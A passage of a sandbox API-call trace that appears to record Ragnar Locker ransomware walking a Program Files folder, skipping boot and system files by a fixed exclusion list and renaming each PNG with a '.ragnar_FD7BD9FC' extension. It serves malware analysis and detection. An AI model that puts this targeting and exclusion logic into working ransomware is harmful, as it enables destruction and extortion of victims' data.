Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" [0079.174] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.175] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.175] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.175] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.175] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0079.175] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.175] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.175] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.175] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.175] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.175] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.175] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.176] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.176] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png")) returned 0x20 [0079.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.176] CloseHandle (hObject=0xffffffff) returned 0 [0079.176] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" [0079.176] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.176] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.176] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.176] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.176] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0079.176] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png") returned=".png" [0079.176] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.176] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.176] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.176] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.176] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.176] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.176] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.176] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.176] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.177] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.177] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.177] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.177] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.177] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.177] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.177] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.177] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.177] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.177] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.177] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.177] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.177] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png")) returned 0x20 [0079.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.177] CloseHandle (hObject=0xffffffff) returned 0 [0079.177] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" [0079.177] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.177] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.177] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.177] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.177] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0079.177] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png") returned=".png" [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.178] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.178] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.178] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.178] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.178] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.178] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.178] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.178] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png")) returned 0x20 [0079.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.179] CloseHandle (hObject=0xffffffff) returned 0 [0079.179] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" [0079.179] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.179] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.179] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.179] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.179] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0079.179] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png") returned=".png" [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.179] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.179] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.179] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.179] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.179] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.179] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.179] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.180] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png")) returned 0x20 [0079.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.180] CloseHandle (hObject=0xffffffff) returned 0 [0079.180] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" [0079.180] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.180] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.180] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.180] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.180] lstrcpyW (in: lpString1=0x1eab52, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0079.180] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png") returned=".png" [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.180] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.181] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.181] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.181] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.181] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.181] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.181] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.181] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.181] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.181] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.181] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png")) returned 0x20 [0079.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff 